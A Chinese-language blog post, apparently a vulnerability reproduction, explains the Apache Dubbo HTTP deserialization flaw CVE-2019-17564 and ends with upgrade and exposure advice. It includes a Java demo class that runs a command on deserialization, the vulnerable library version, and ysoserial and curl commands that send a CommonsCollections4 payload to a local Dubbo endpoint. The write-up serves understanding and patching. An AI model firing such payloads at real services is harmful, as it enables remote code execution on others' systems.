有关Apache dubbo反序列化漏洞(CVE-2019-17564)网上有许多漏洞复现文章,官方漏洞描述也说的很清楚,开启了http remoting协议时,存在反序列化漏洞。本身有关java的漏洞,反序列化占了很大一部分。大概流程就是应用程序在反序列化时执行了恶意代码导致RCE(remote command/code execute)。
先来看一个自定义对象反序列化引发RCE的示例:
public class SerialDemo {
public static void main(String[] args) throws Exception{
FileOutputStream fileInputStream = new FileOutputStream("D://Bird.obj");
ObjectOutputStream oos= new ObjectOutputStream(fileInputStream);
oos.writeObject(new Bird());
oos.close();
FileInputStream fileInputStream1 = new FileInputStream("D://Bird.obj");
ObjectInputStream ois = new ObjectInputStream(fileInputStream1);
ois.readObject();
ois.close();
}
}
class Bird implements Serializable {
private final void readObject(ObjectInputStream in) throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
}
在Bird类中声明了readObject方法,反序列化时会通过反射调用这个方法导致RCE,dubbo反序列化漏洞类似,但调用链远比这个要复杂。
----
下面使用dubbo http示例复现一下反序列化漏洞,通过Ysoserial生成利用反序列化漏洞payload,基于CommonsCollections4类库的gadget,注意版本使用的4.0,大于4.0没有此漏洞。
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
下载dubbo-sample-http,地址https://github.com/apache/dubbo-samples/tree/master/java,dubbo版本改为2.7.3,直接运行provider程序即可。使用curl命令,发送post请求,附带由Ysoserial生成的payload,其他模拟请求工具均可。
java -jar ysoserial-xxx.jar CommonsCollections4 "calc" > payload
curl --data-binary @payload
http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService
有漏洞当然要升级了,针对此漏洞首先要确定是否使用了dubbo http,如果使用的是rest服务(基于resteasy)不受此漏洞影响。
dubbo作为一个rpc框架,通常都是内网应用,如果需要对外提供服务可以前置http网关接口,个人觉得没有必要给dubbo开放http接口。各位读者朋友如何看待呢?